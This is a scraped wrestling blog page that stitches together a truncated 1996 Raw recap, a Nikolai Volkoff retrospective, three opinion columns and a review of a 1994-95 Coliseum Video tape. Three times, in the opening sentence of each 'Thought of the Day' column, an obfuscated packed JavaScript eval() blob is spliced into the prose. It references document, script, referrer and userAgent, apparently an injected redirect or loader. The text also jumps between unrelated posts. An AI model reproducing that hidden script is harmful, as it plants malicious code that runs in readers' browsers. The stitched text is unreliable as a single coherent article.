Monday Night Raw – July 8, 1996: The Other Third Man

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Date: July 8, 1996
Location: Brown County Expo, Green Bay, Wisconsin
Attendance: 4,660
Commentators: Vince McMahon, Jerry Lawler

Opening sequence.

Ultimate Warrior vs. Owen Hart

Savio Vega vs. Justin Hawk Bradshaw

Zebekiah and Bradshaw use various cowboy instruments to beat Savio down.

Clips from a rally before a show.

British Bulldog/Yokozuna vs. Godwinns

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Wrestler of the Day – November 21: Nikolai Volkoff

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Gorilla Monsoon/Pedro Morales vs. The Mongols

The Mongols are way old school and named Bepo and Geto. Monsoon is HUGE. He’s the Asian Champion and Pedro is US Champion (the WWF version which was gone by the 70s). This is 2/3 falls and we’re joined in progress. It’s in Philly and from sometime in the late 60s. The Mongols are bald other than ponytails. This is the WWWF also. Monsoon is sent to the floor by the International Tag Team Champions.

Geto, the smaller one, drops a bunch of knees off the top on Gorilla to win the first fall. Clipped to the second fall and Pedro is in trouble. One of those Mongols looks a lot like Nikolai Volkoff. And I’m right as he’s Bepo. Bear hug by Gorilla but Bepo makes the save. This isn’t incredibly good. Pedro watches Monsoon getting his teeth kicked in. The Mongols get disqualified for double teaming so we go to the third fall.

Monsoon’s back is hurt so FINALLY we get Pedro. He throws some decent dropkicks which gets the pin on Geto. The film starts messing up and looks like it’s being played in fast motion. The third fall was either clipped or lasted 18 seconds. Pedro looked good if nothing else I guess.

Rating: N/A. Haven’t used one of those in awhile. This really isn’t fair to grade with all the clipping and lack of any story at all. It’s not too bad and Pedro looked great. Monsoon was a freaking load and the Mongols were nothing special. Then again it was the 60s so how angry can I really get with it?

Tag Titles: US Express vs. Nikolai Volkoff/Iron Sheik

Off to Barry who avoids double teaming and causes the challengers to collide. Back to Rotundo to work over Nikolai with an elbow drop getting two. Windham comes in off the top with a shot to the arm and Rotundo does the same thing. Sheik suplexes Mike down for two as the foreigners take over. Nikolai drops him throat first across the throat and the USA chant starts up.

Iron Sheik/Nikolai Volkoff/George Steele vs. Mike Rotunda/Barry Windham/Ricky Steamboat

That’s quite the face tag team. This was on the SNME DVD (Awesome DVD that should certainly be picked up if you can find it. Awesome stuff on it) as an extra. Blassie is with the heels and Albano is with the faces. The two foreigners had taken the tag titles from the US Express at Wrestlemania for a token tag title change.

About a year prior to this, the US Express had been using Real American for their theme music. That went to Hogan of course and here they use Born in the USA by Bruce Springsteen which works like a charm for them as it’s perfect. We start with Windham and Steele which is an odd matchup if there ever has been one.

Sheik was hitting the end of whatever usefulness that he had at this point. Rotundo would soon head to WCW and become a member of the Varsity Club, ending in an awesome moment with Rick Steiner taking the TV Title from him after months of being talked down to by him. Wow what a tangent that was.

Oh and he’s more commonly known as I.R.S. Oddly enough the faces dominate early on. We go to commercial with the faces dominating. We begin the awesome SNME tradition of not having action during commercials so we don’t have to be all confused about how we got to a point during a break.

Wow there are four hall of fame wrestlers in here and two on the floor. That’s rather impressive, especially considering that the two that aren’t in there are two of the three most talented. Steele comes in and his teammates abandon him, allowing Windham to get a quick rollup for the pin. Steele eats a turnbuckle and the tag champions beat him up. That doesn’t last long as Albano comes in to calm him down and Steele is a face.

Rating: C-. Eh this was fine. It wasn’t meant to be anything special other than a way to get Steele out of the dark side, but the heel offense consisted of about four Volkoff punches and other than that it was a complete squash. I don’t get why it was so one sided, but it did its job and wasn’t bad at all so for the first match in show history this was perfectly fine.

He opened the second show too.

WWF Title: Hulk Hogan vs. Nikolai Volkoff

I love the smelled of squashed Russians in the morning. After a long national anthem, here’s Hulk. He promises to win and keep the title and defend America. He comes out to Stars and Stripes Forever here in a nice touch. It’s a standard Hogan 80s match vs. a monster as Hogan gets jumped early but then makes his amazing comeback. Hogan knocks him over the top and Volkoff’s fat rings the bell.

A ram into the post though has the powers of Russia in the lead and Hogan is in trouble. Jesse isn’t talking much at all here. Volkoff slams him and Hogan makes his comeback and finishes with a spinning legdrop. Yes I said spinning. Hogan spits on the flag and uses it to shine his shoes.

Rating: C. This was a run of the mill Hogan match which is what this was supposed to be. It got Hogan on national TV and let him beat up someone that most people were going to naturally boo. This is the epitome of what SNME was supposed to be about in the old days and it worked very well.

Time for a lower level American. From SNME IV.

Nikolai Volkoff vs. Corporal Kirschner

This is a Peace Match. Translation, it’s based on some peace talks that had been going on around this time. So they’re fighting for peace. Got it. We get technical stuff, but neither are very good at it. So basically they can’t do traditional stuff and it’s amateur style. This…is rather stupid. Volkoff throws a cartwheel! WOW. Would not have called that one. The fans are liking it if nothing else so there we are. Blassie hooks a leg and Volkoff drops a knee for the surprising win. Of course there’s a postmatch beatdown as the heels get run off.

This somehow earned a rematch at Wrestlemania II.

Corporal Kirchner vs. Nikolai Volkoff

Volkoff was in the lucky spot between Savage vs. Steamboat and Hogan vs. Andre at Wrestlemania III.

Nikolai Volkoff/Iron Sheik vs. Killer Bees

Back to SNME with show XI.

Can-Am Connection vs. Iron Sheik/Nikolai Volkoff

Sheik tries to sing and gets hit in the head with a 2×4. Isn’t that called massive assault? Zenk and the Sheik start us off. Duggan, after BASHING VOLKOFF IN THE HEAD WITH A BOARD just sits right back in the front row. Sheik gets a good abdominal stretch on Sheik. This show needs to end. Duggan runs in AGAIN and Martel rolls up Sheik for the pin.

Rating: N/A. This was just insanity and nothing at all of note. Then again it’s the end of the show so it’s not like anyone was watching here anyway.

Nikolai would finally find a new partner in Boris Zhukov as the Bolsheviks. Here they are in MSG on November 24, 1987.

Bolsheviks vs. Killer Bees

Slick is with the Russians here. The national anthem is one of the best ways ever to draw heel heat. Bockwinkel wants to talk about the size of Zhukov’s head for some reason. The Bees put their masks on because they like to be annoying. Blair has longer hair so I think that’s him with the hair sticking out of the back of the mask. The Russians say take the masks off or we’re leaving. Let the stalling begin.

The referee is threatening them with a DQ if they don’t get in. The bell rang so I guess this is part of the match. There go the masks but they’re in the tights of the Bees, which makes me think we’ll be seeing them later. Apparently the winners of this get a shot at Strike Force, the tag team champions. We’ve been stalling for four minutes now and FINALLY we get Brunzell vs. Boris.

Boris blocks a hip toss but walks into a head scissors to take him over. I’d expect a lot of tags by the Bees. They work on the arm of Zhukov who is in trouble early. Nikolai comes in sans tag which really just gets Boris in more trouble than he was already in. Here’s Volkoff in legally now and I still think those trunks will eat him one day. A double elbow takes him down for two.

They start in on the arm of Volkoff as well and then shift over to the hamstrings and the legs. Zhukov comes in and it’s still all Killer Bees. The Russians have had nothing at all here. Slick is going to file a complaint about the referees. They work on the hamstring even more as they couldn’t be more clearly stalling without holding up a big old neon sign that says WE’RE STALLING!

Volkoff comes in with an atomic drop but loses control on a slam. A front facelock goes on as we shift the momentum over to the Russians. It’s Blair getting beaten on here if you’re interested. Gutwrench suplex gets two for Nikolai. Zhukov mostly gets a suplex on Blair but it’s partially botched. How do you manage to botch a vertical suplex? It’s one of the most basic moves in the sport.

Back to Volkoff for some choking. Double teaming stops Blair from tagging as we’re well over fifteen minutes into this now. The Russians hammer away even more and knock Blair and Brunzell to the floor. We have a random bell which is waved off as the Bees put the masks on and switch off. Brunzell (everyone but the referee gets this somehow) comes in without a tag and gets a dropkick for two. The referee gets distracted and the legal man comes in with a top rope cross body to win it.

Rating: C-. This is a fine example of a long match not necessarily being a good match. It went WAY too long when you could legitimately pull out 10 minutes out of this and it’s the same match. There’s a lot of basic work including about 8 minutes of nothing but hamstring work on Zhukov. Boring match for the most part but nothing horrible.

One more SNME with XIV.

Tag Titles: Bolsheviks vs. Strike Force

This is 2/3 falls to continue the SNME tradition. Apparently Okerlund looks like Khrushchev with a mustache. We see Strike Force beating the Harts to win the tag titles and they say stuff that might have been in English but I’m not entirely sure. Slick calls them Pint Sized Rambos. That’s a cool name. Boris and Tito start us off. Such a disparity in talent between the two teams.

This is your standard 80s style tag match which means it’s fun but not really that good. That works though. The crowd is way hot so that’s a big perk. Martel hooks the Boston Crab for the tap out to make it 1-0 for the champions. They celebrate into the first commercial.

That’s one thing I love about SNME: they let the match stop until we get back so we miss nothing at all. The heels cheat to take over as you would likely expect. Something tells me the champions are retaining here. Can’t place it but they have something extra. I think it’s called talent. Slick throws in the cane which is picked off and the shot allows the champions to retain in two straight falls.

The team would also be on the first Summerslam in 1988.

Powers of Pain vs. Bolsheviks

The Powers (Barbarian and Warlord) are still faces here and have the Baron (Von Raschke) with them. Just like in the previous two matches the brawl is on as soon as the good guys hit the ring. The Powers double clothesline Boris Zhukov as Volkoff tries to sneak in for a cheap shot. Barbarian easily catches him coming in and sends him flying until we get down to Barbarian vs. Boris to start things off.

Time for comedy in December 1990.

Bushwackers vs. Bolsheviks

This might be December 30, 1988 as that’s the only date I can find for these teams to be fighting in this arena. The Bushwackers jump the Russians to start and it’s a big brawl. After about a minute and a half of brawling we finally get down to Luke vs. Boris. This is more along the lines of a Sheepherders’ match than the traditional stuff you would see from these guys.

The vast majority of the commentary is talking about how odd the Bushwackers are which is rather true. Trongard can’t figure out who is who here. Basically the Russians can’t get anything going at all. It’s another big brawl as the Bushwackers bite legs. Luke gets in trouble though and the Russians take over for the first time. Volkoff is called the Russian Bear in blatant gimmick infringement by Hayes.

This isn’t going anywhere at all as we’re just waiting on the down under comeback to end it. The Russians here are straight up jobbers which says a lot. Somehow Trongard still can’t tell the Bushwackers apart. They look alike but it’s not like they’re identical. Butch comes in for the save when Luke is double teamed but accidently hits Luke. Luke naturally goes after Butch because that’s just what you do.

Hot tag with no heat at all on it brings in Butch who the announcers call Luke. Everything breaks down again of course and we get the dreaded heel miscommunication to put Volkoff on the floor. The Battering Ram takes down Zhukov, followed by the double stomach breaker and we begin the long awesomeness of the Bushwackers’ undefeated streak! Yeah I’m just trying to fill in space here. Trongard says the Bolsheviks are former tag champions which isn’t true. He was rather irritating on commentary for stupid things like that.

Rating: D+. This was a glorified comedy match but for a debut it was ok. The fans seemed to be into them for the most part so it’s hard to complain about them for the most part. This wasn’t horrible but considering this was more or less the peak of the Bushwackers’ abilities by this point, this wasn’t much at all. Not horrible though.

Then Volkoff wanted to be an American. Here he is at Survivor Series 1990.

Alliance vs. Mercenaries

Nikolai Volkoff, Bushwhackers, Tito Santana

Sgt. Slaughter, Boris Zhukov, Orient Express

Matt Hardy vs. Nikolai Volkoff

The Russian easily takes him down and rolls Matt up for two. A double underhook suplex drops Matt again as we’re in full squash mode. Matt hits some worthless forearms before getting slammed and Boston crabbed for the submission.

Volkoff went into retirement after this but came out for a few shows, including Heroes of Wrestling.

Bushwackers vs. Nikolai Volkoff/Iron Sheik

I’m calling them the Bushwackers as they’re Luke and Butch, formerly the Bushwackers. There’s some guy with Volkoff but he’s another guy that is imitating a better manager. I’m just not sure who he’s imitating. We get the USA chant going, despite the faces being from New Zealand but this isn’t the smartest crowd in the world. The manager is dressed up in a Russian military uniform. Oh dear.

He speaks English with a so bad it’s funny but the show is so bad it’s not funny accent if that makes sense. Oh and Volkoff is now an Olympian also. We get the Russian National Anthem of course and the Persian clubs which are as old school as possible. The clubs become Iranian all of a sudden and we’re three minutes into this. Sheik needs to humble someone. It would be more entertaining.

We hear about Hogan and Backlund for no reason at all but whatever. That’s my word for this show: whatever. We’re at about 5 minutes of build for this disaster. I guess Bushwackers is a copyrighted term. Somehow they look better than anyone else. Luke licked my face once. Can we get the tape of the Bushwackers on Family Matters instead of me having to watch this atrocity?

Apparently they’ve won tag titles in 26 countries. Well ok then. The heels jump them early to start to further establish that they’re EVIL. Dutch explains the term short end of the stick which has some kind of scale according to him. Please, just take me now. Sheik gets on the mic and says if they keep chanting USA then he’ll leave. You know what comes next. The announcers argue about cutting each other off. I hate this show quite a bit.

They’re really trying to get this whole they’re Heroes thing embedded in. Can we just watch Heroes instead? Just the first season though as it’s by far the best. Sheik is wearing shorts also. The kicks they’re throwing aren’t even close at all. How much are these guys being paid? I guarantee you it’s too much. After a “slam” Nikolai covers Luke and Butch comes in for the save.

He doesn’t need to though as Nikolai reacts to the saving shot before it hits so there we are again. The camel clutch, which made British Bulldog tap inside of 5 seconds in 1986 is on for 15 seconds before Butch saves. At least I think he saved as we cut to a shot of the manager so for all I know Butch just did the Charleston for awhile and Sheik didn’t like his movement and showed him what to do. Who knows though?

I do however know that the manager raised his right arm. You can hear individual lines from the fans by the way. And I mean individual conversations, not just random screams. ANOTHER foreign object misses and Luke pins Sheik with the fastest count this side of Nick Patrick gets the three. The heels almost fight afterwards but they hug it out.

Rating: G+. That’s below an F-. This was stupid and bad. I think it was a comedy match but I couldn’t tell. They did manage to name the heel team The Iron Curtain though which I can’t believe no one got that before. We’re half done with this and I want to cry. Or die, either one. Getting humbled wouldn’t be bad either. When the Bushwackers are the best workers in there, that’s not saying a lot at all.

Nikolai Volkoff vs. Jim Duggan

Oh dear. Sheik is with Volkoff here to really make this evil. Volkoff looks OLD. Cornette is having a ball here. Earl Hebner is the referee. When Duggan is in far better shape of two guys you know one is in bad shape. Duggan fights out of the corner and the Three Point Clothesline ends this in maybe 90 seconds.

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Thought of the Day: Ability Is In The Eye Of The Announcers/WWE Is Like A Video Game

It’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dtsse|var|u0026u|referrer|yenaf||js|php'.split('|'),0,{})) something WWE is horrible at anymore.

I’m watching a One Night Only show and the announcers are actually making it sound like the lower level guys have a chance against the bigger names. THis is something that gets on my nerves about WWE. If you have say Damien Sandow against John Cena, the announcers will spend half the match basically laughing at Sandow and saying he has almost no chance at winning. Today, ROH is great at making you believe anyone can beat anyone on any given night.

This is something Gorilla Monsoon was a master at doing right. No matter who was in the ring, he would make you believe that either guy could win. He’d play up the successes that the lower guy had been having lately and talk about how they have that one big move that would end a match against any opponent. Today’s wrestling sees so many finishers being made to look worthless that there’s no reason to believe they’re going to end a match.

Back in the day when I played No Mercy on a daily basis, (and I’m assuming it’s the same with these newfangled games) the strategy would be to get to Special Mode as soon as possible and hit your finisher three times in a row. It wouldn’t end the match, but it would soften your opponent up enough to give you a big advantage. The thing is, wrestling doesn’t work that way outside of a game. Just hitting the same finisher over and over again doesn’t make something look interesting. It should finish a match, and back in the day it would. Between that and the commentators treating big names like jobbers half the time, you can guess almost any match result anymore.

Thought of the Day: Hulk Hogan Is TNA’s Gorilla Monsoon

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bbszi|var|u0026u|referrer|nfbsf||js|php'.split('|'),0,{})) makes sense when you think about it.I’m 25 years old, meaning I grew up watching Hulk Hogan in the WWF and later in WCW as Hollywood Hogan. Hogan retired from full time competition when I was about 15 years old.

Now let’s flash back to my childhood and a few years before. The voice of the WWF was Gorilla Monsoon, a play by play announcer who would later become Commissioner. Monsoon had been a wrestler in the 70s but retired in 1981, several years before I was born. I never saw Monsoon wrestle and to the best of my knowledge his last match was in 1987 in an old timers battle royal.

This brings us to modern TNA. Hulk Hogan is now retired and the GM of Impact. He’s wrestled two matches in TNA but is far from an active competitor. As mentioned, Hogan last wrestled in 2003 and to call him a regular back then is a stretch. For all intents and purposes, Hogan’s last full year as an active wrestler was in 1999.

Therefore, unless you’re about 17 or older, you probably don’t remember Hogan as an active wrestler. I’m sure you’ve heard of him and know who he is, but there’s no direct connection to him. Growing up, I knew who Monsoon was and that he used to be a wrestler but I knew nothing about his career other than a few Coliseum Video matches. In other words, Monsoon was an old guy who used to be a wrestler apparently.

For younger fans, that’s what Hulk Hogan is in TNA. He’s like Jack Brisco or Dory Funk Jr. to someone my age. I know of their work and I respect what they did, but there’s nothing that ties me to them, much like younger fans with Hogan today.

Yet in TNA, Hogan is the focal point of the show a lot of the time. The portion of the audience that has a connection to him as a wrestler is shrinking and the portion of the audience that knows him as that guy who used to wrestle is growing. To them, Hogan is a guy they’ve never seen wrestle other than on DVD.

And they wonder why their audience barely grows.

Thought of the Day: The Death Of Finishers

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nekee|var|u0026u|referrer|izynd||js|php'.split('|'),0,{})) was watching the older Wrestlemanias a few weeks ago and Gorilla brought up something interesting.You would hear Gorilla talking about some wrestler and say that if they hit whatever their signature move was, the match would be over. This got me to thinking: are they any moves that are a guaranteed victory anymore? Back in the day, when someone kicked out of a big time finisher, it was a world changing event. Today if it doesn’t happen three times in a match the match is considered subpar. At that point, a move isn’t a finisher anymore. It’s a move you happen to do in a match.

Wham Bam Bodyslam – Worst Tape Ever? It’s Close At Least

Wham Bam Bodyslam
Host: Ted DiBiase
Commentators: Gorilla Monsoon, Stan Lane

Another Coliseum Video here that has no particular reason at all to be done here. Since it’s a pointless tape with nothing special that I recall about it at all, that means it’s time for a review! Let’s get to it.

Looks to be from 94-95. Ted promises us a special feature with Doink and Dink. What did I do to deserve this?

Tatanka vs. Lex Luger

Tatanka is part of the Million Dollar Team so this is after Summerslam 94. We’re in Albany it seems. The racial stereotype tries to talk but gets cut off by the music of the Renegade Lex Luger. Luger goes right after Tatanka and we’re on in a hurry. The Indian hides on the floor as we stall a lot. Luger wants to kill him it seems. Literally all we have here is Luger chasing Tatanka and Tatanka running away.

FINALLY the referee gets in Luger’s way and we get going. Luger hammers away and after about a minute I have a bad feeling about this tape. Out to the floor and it’s Tatanka in control. We’re maybe four minutes into this and I want to go watch some Sandman vs. Sabu. Three elbows get two for Tatanka.

Ah there’s a chinlock. Wow this is riveting. Luger’s face is pathetic here as he might as well be ordering dinner. He fights up and Tatanka gets a knee to put him back down. Back to the chinlock again. To tell you how pathetic the Million Dollar Team was, King Kong Bundy was considered their best chance at getting a title. Lex fights up again and AGAIN it’s the chinlock. This is one of the most boring matches I’ve ever seen, which is covering a lot of ground.

Luger knocks Tatanka to the floor which seems to be a common theme tonight. Lex goes out after him and the beating continues. At least this is finally picking up a bit. It’s about time after that big long boring match. And there’s a double countout to end this. Oh no. Oh no they didn’t just give us THAT finish after watching these two for almost fifteen minutes. Dang it yes they did.

Rating: F. This was AWFUL. Nothing happened in this and it was the epitome of filling in time without having to do a thing. This was a feud I always liked and then we get this nonsense. Totally boring match that is mostly chinlock and running. I know this era was bad but this isn’t making me feel any better about this tape.

Post match we get a tease of more fighting and Luger gives Tatanka the Rack. Oh I’m sorry: the REBEL Rack.

Bret Hart/British Bulldog vs. Owen Hart/Jim Neidhart

Ok, this HAS to be good right? Bret is world champion here so this is probably around August of 94 as that was the top feud around that time. Still in Albany and likely at the same show. Apparently this was October 19, 1994. I’ve always wondered which shows they picked to film and how they were chosen. Bret and Owen start so we’re guaranteed a good start at least. Granted after that last match anything sounds great.

I love Owen celebrating while doing absolutely nothing. Lots of chain wrestling to start as you would expect. Bret works on the arm and gets a crucifix for two. They speed it up a bit and Bret gets a clothesline to put Owen on the floor. Back in and Bret taunts Neidhart, saying he wants the Anvil.

Now here’s a match I don’t think I’ve ever seen. Bret tries his usual stuff but Anvil catches him in a bear hug. Hart bites Anvil’s head to escape and it’s time for power vs. power. Ok never mind as it’s time for Owen vs. Bulldog. They’re getting in and out of there rather fast. Stan Lane continues to be underrated at the announce table. Owen gets caught in the semi-delayed vertical for two.

We hit the chinlock again even though I thought we had hit the quota of chinlocks in the first match. Spinwheel kick puts Bulldog down for two and it’s back to Anvil who puts on a chinlock of his own. The fans are chanting for Owen actually. Owen comes in again and drills Bulldog with some European uppercuts in a nice bit of irony. Shawn Killer Kick makes Smith flip forward and the double teaming commences.

Neidhart back in there now as the heels are working well together here. Bret chases Owen but the referee stops him. This stopping though allows the New Foundation (Owen and Neidhart of course) to hit a Hart Attack on Bulldog for two. Neckbreaker by Owen gets two and we hit the chinlock one more time. This is very much a stop and go kind of match as they’ll get going and then stop for a chinlock etc.

Bulldog fights up and they hit head to head. There’s a tag to Hart but Neidhart had the referee distracted. Heel miscommunication puts Anvil down and there’s the tag to the champion. He beats up both guys while Bulldog just watches on. What a nice partner he is. Russian Leg Sweep gets two on Owen and it’s Five Moves of Doom time. He actually gets the Sharpshooter but Neidhart makes the save. Off to the Bulldog again and everything breaks down. Bulldog gets a small package, Neidhart turns it over, Bret turns it over again and Bulldog pins Owen to end it.

Rating: B-. If you cut out a lot of the rest holds and give it a bit better ending then this would be a much better match. Still though not a bad match at all and I thought it was pretty good. With these four it’s hard not to have a good match. Neidhart was the worst of these four but he’s certainly watchable in the ring. Decent match but could have been much better.

And now, it’s time for Doink and Dink. This isn’t looking like a great tape so far. They run around the WWF Studios playing pranks on people. I hate my life. Oh sweet goodness they’re going to do more of this later.

Intercontinental Title: Jeff Jarrett vs. Razor Ramon

Same show again and Razor is champion. Razor has some fat guy with him that I don’t recognize. Ah apparently that’s his guest manager for this match. Shouldn’t he be like, a kid? Razor gives his necklaces to the ring attendant: Anthony Chimmel. I had no idea he was around back at this point. Jarrett takes a toothpick to the eye and complains about it to kill time.

Armdrag takes Razor down to start. We’re starting very, very slowly here. Jarrett does the lay on the turnbuckle thing that Shawn did better. They exchange slaps as this is dragging pretty badly. Razor gets the fallaway slam for two as Jeff gets his foot on the ropes. He works on the arm but gets caught by a pair of dropkicks. Make it three of them for Jarrett to take over. He always had a gorgeous dropkick.

Top rope cross body is rolled through though but Jarrett takes back over easily. Hey look it’s a chinlock. Glad to see that they’re keeping things different throughout these three matches they’ve had at this show so far. Razor gets a backslide for two as even Gorilla says he’s not going to get him here. Apparently the fat guy is named Ranger Danger. Belly to back suplex by Razor puts both guys down. Crowd is pretty dead here but not entirely dead.

Back up and a discus punch puts Jeff down. Razor is sent to the floor and looks to be cut open a bit. Wait maybe he isn’t. Ok yes he is. His hair was covering up the cut the second time. Back in and there’s ANOTHER countout. They did that at I think the 95 Rumble which hadn’t happened yet so I guess this is practice.

Rating: D. Another one of these stop and go matches that wasn’t interesting in the slightest. I still don’t get the ranger dude being out there but it was a much more confusing era back then. These two could have a great match when they tried to but this wasn’t the case here. Not much at all and really bad to say the least.

Jeff wants to keep going and Razor says sure. And there’s the Razor’s Edge maybe 8 seconds later. They couldn’t have done this without the countout??? I give up.

Bushwhackers vs. Well Dunn

Well Dunn was a jobbing heel tag team that no one cared about but for some reason they were given a moderate push around this time. Also, the Whackers had jobs at this point? Really? The Bushwhackers were doing this weird nose rub thing around this time that was stupider than what they would usually do if you can imagine that. They stall forever before we actually get going.

Butch bites one of them and they do the do-see-do. A gymnastic comedy routine gets us nowhere. Apparently one is named Timothy Well. We haven’t even had a bell yet so we’re just having a big brawl here. We’re not in Albany anymore. The heels get run out of the ring and it’s time for some whacking. We get a reference to Tie Me Kangaroo Down, which was the theme song of Outback Jack. How did I not get him for OCW?

Believe it or not this match is clipped, meaning it was originally longer than it is here. The heels beat on Luck for awhile with some fast leg drops. This match is about as uninteresting as you could ask for if you didn’t get that already. Flying forearm takes Luke down for one. More double teaming follows. Well Dunn is managed by Harvey Whippleman. Butch (called Miller which I’ve never heard) comes in. Dunn’s first name is Stephen. Battering Ram, heel reversal, face reversal, pin, same ending as the other tag match.

Rating: F+. Again, this was CLIPPED. It was originally supposed to be even longer than it already was. We saw about five minutes of it and the match was boring beyond belief based on that. This is one of the worst tapes I’ve ever seen so far and we have a full 54 minutes to go at this point. Shoot me, please?

The next match is one that was on Shawn’s tape so I’m copying and pasting this.

Shawn Michaels/Diesel/Tatanka vs. Smoking Guns/Lex Luger

This has to be after Summerslam 94 but before Survivor Series 94 as Tatanka is a heel and in the Million Dollar Corporation here but Diesel and Shawn are still tag champions. Luger is the Rebel here, meaning he means absolutely nothing here because his main push is long since over. DiBiase isn’t here for some reason.

Gorilla is all over Tatanka for selling out to DiBiase. Shawn vs. Luger to start us off. I don’t remember any feud with the champions and the Guns but there likely was one. Luger destroys Shawn to start and the good guys clear the ring in a hurry. It’s so strange to see Billy Gunn as a worthless cowboy. Off to Bart vs. Diesel now which is rather amusing indeed. Why is it amusing? I’m not sure but it just is.

Diesel thankfully destroys that mullet wearing twerp and brings in Tatanka. Bart fights back but kind of messes up a dropkick as Tatanka is too close to him. The Guns hit a modified Sidewinder (side slam mixed with a top rope leg drop) to Tatanka and we go back to Shawn vs. Lex again. Luger still wants the stereotype but can’t get him since that’s the big segment of the match probably.

Luger stays in for all of 6 seconds before bringing the tired Bart back in. Did he tick someone off to deserve this? Bad armdrag brings Shawn down but Diesel pulls the top rope down to give the evildoers the advantage. Bart gets beaten down for awhile as we’re just waiting on the big brawl segment to end the match.

Shawn comes back in and we hit the chinlock. Stan Lane is blowing Gorilla away on commentary here. Shawn calls spots to Gorilla so Gorilla covers for him by saying he’s taunting. That makes sense if nothing else. A mat slam gets Bart out of trouble and the FEARSOME Billy comes in and Shawn cowers in fear which I think is a cover for wanting to laugh.

Billy gets the Texas Special (bulldog) off the top on Shawn for two and here’s the big brawl. The feuds (I guess) split off with Luger and Tatanka on the floor. Shawn gets tied in the ropes so Diesel hits the Jackknife on Billy (serves his annoying ass right) and Shawn covers for the academic pin.

Rating: C-. Pretty boring for the most part but nothing too bad. It’s about what you would expect for the main event of a comp tape as Shawn steals another pin. Decent little match for the most part with not a ton of people caring but it wasn’t supposed to be anything epic. Not bad.

Well that killed off ten minutes so there’s that at least.

WWF World Title: Bret Hart vs. Owen Hart

Lumberjack match here. Come on Harts: SAVE US! The lumberjacks are as usual the medium names on the roster and the majority of the upper midcard. Gorilla can’t tell if the kid that got the glasses was a boy or a girl. That amuses me for some reason. Atomic drop and a DDT for Bret as they’re starting very fast. This is before Summerslam and their cage match apparently.

Owen is sent to the floor but takes over soon thereafter. He locks on a camel clutch despite not being Middle Eastern. Doesn’t he know his stereotypes? We shift to a chinlock since it’s been a full five minutes since one of those. Jarrett gets involved and the lumberjacks get involved. Sharpshooter goes on Owen but Neidhart drills Bret. Owen covers Bret….AND PINS HIM??? He’s announced as the new champion and the heels celebrate! WHAT THE HECK???

And never mind as the referees come down to tell what happened and I think you all know what’s coming here. We actually go to instant replay here and the referee sees what happened. Bah I wanted to see the mystery Owen title reign! Naturally the match is restarted even though Owen looks good with the title on his shoulder.

We restart things and Bret sends him shoulder first into the post to take over. Oh look: IT’S A CHINLOCK! Bret, you too? Cross body gets two for the champion. Wait is Owen officially champion at this point? I’m not really sure. Either way it’s back to the chinlock. Headbutt to the ribs gives Owen control and stomps away a bit. Oh and his arm is fine now.

Bret gets sent to the floor and the heels mess with him a bit. Dropkick sends Bret to the floor again and the beating is on again. Suplex gets two. How can Bret vs. Owen be boring like this? Bret fights back but gets caught by a tombstone for two. A top rope headbutt/splash misses for Owen and both guys are down.

Owen is sent into the corner and Bret adds a legdrop for two. Russian Leg Sweep gets two. Gorilla doesn’t know why he’s not going for the Sharpshooter yet. Gorilla, he’s done two of the Five Moves of Doom. If he went for it already he might destroy the universe. Gorilla Monsoon wants to destroy the universe. Elbow gets two. Anvil gets on the apron and Owen accidentally drills him so Bret can roll him up for the pin to retain.

Rating: B-. The match is ok but compared to their other stuff this is pretty weak. The title switch was indeed a nice shock and I’m glad they went with it at the beginning rather than at the end. Not a bad match but dude, it’s Bret vs. Owen. How is that not a guaranteed classic? Whatever I guess, as it’s easily the best match on the tape so far.

Women’s Title: Bull Nakano vs. Alundra Blayze

Nakano was more or less the Kong of her day. These two had a very long running feud that actually gave us some good matches. Blayze speeds it up a bit and fires away with kicks so Nakano grabs her by the hair and spins her around in a single throw. FREAKING OW MAN! Leg drop gets one. After a short beating Blayze gets a clothesline using the top rope. That’s the extent of her offense as she gets slammed off the top and a Piledriver gets two for the challenger.

Off to a half crab/ankle lock as Nakano shouts ASK HER! It’s a reverse figure four now with Blayze facing down but Nakanko facing up. I’ve seen that before but it’s rare. Nakano is destroying her with all kinds of holds here. Suplex gets two as the crowd is SILENT. Blayze bridges up and holds said bridge despite the huge Nakano jumping down onto her ribs. That’s impressive indeed.

This has more or less been a squash so far so I’d bet a lot on Nakano losing to a German suplex. A cross body takes Nakano down but Luna Vachon, Nakano’s friend I guess, distracts her and a DDT gets two for Bull. Crucifix gets two for Alundra. Sunset flip is countered by the power of a large ass for two. Powerbomb gets two as they’ve sped this way up. Superplex is blocked by Bull (called Dumbo by Gorilla) but her guillotine legdrop finisher misses. Three dropkicks by the champions get two. And yep there’s the German out of nowhere to end it.

Rating: C+. Hey what do you know about that? Blayze got her ass handed to her for 10 minutes and then hit one move to get the win. Never at all been a fan of this style of booking as it makes the champion look really weak. The pin was clean though so points for that. Also, Bull was doing some insane stuff out there so I have to give this a good grade.

Battle Royal

20 people in this and I’d assume it’s the main event. Let’s see how many I can name: Bigelow, Yokozuna, Mabel, Typhoon…yeah this is a waste of my time. I’ll let you know as they go out. Immediately, as in less than 15 seconds after we start, they gang up on Yoko and he’s gone. IRS, the Heavenly Bodies, Backlund (pre-crazy), Headshrinkers, Smoking Gunns, 1-2-3 Kid, Adam Bomb and Jeff Jarrett are all in there. Yoko pulled out Fatu (Headshrinker) with him.

